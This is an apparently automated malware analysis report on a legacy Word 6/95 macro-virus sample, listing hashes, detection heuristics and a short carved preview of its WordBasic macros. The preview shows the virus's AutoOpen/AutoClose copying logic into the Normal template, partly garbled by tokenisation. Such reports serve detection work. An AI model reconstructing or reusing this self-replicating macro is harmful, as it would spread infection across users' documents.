Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52d05f25fb75db15…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2012-06-14
MD5: 428e3ac57fdbf270601d8bca9a7ec0a2 SHA-1: 67f179609f159debe9dd21ca3e19adced0324865 SHA-256: 52d05f25fb75db15bb13e20c94fc857050e7a0f5598821d45cc56a036e5e9024
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers, specifically 'RSN MACRO VIRUS' and 'Goat file', indicating a historical malware artifact. The document body contains numerous embedded strings and file paths that are characteristic of older macro viruses, suggesting an attempt to execute malicious code via macros if enabled. No specific IOCs like URLs or hashes were extracted, but the presence of macro virus markers is sufficient for a high confidence assessment.

Heuristics 3

  • ClamAV: Win.Trojan.Bland-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Bland-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 342 bytes
SHA-256: eec0fa1a130c234a3137dfe3cc14fb5a5a18d6b634646ad8e0a758dc888d8aae
Preview script
First 1,000 lines of the extracted script
29551
Main
  -         21092 Count = @cmd80b7 0
F = 0
i = 1 Count
Name$ = @cmd80b8 i , 0
Name$ = "AutoOpen" F = 1
i
NameActiveFile$ = @cmd8153 0
F = 0 @cmd80c2 NameActiveFile$ = ":AutoClose" , "Normal:AutoOpen"
F = 1 @cmd0054 = NameActiveFile$ , = 1 @cmd80c2 "Normal:AutoOpen" , NameActiveFile$ = ":AutoClose" @cmd0054 = NameActiveFile$ , = 1

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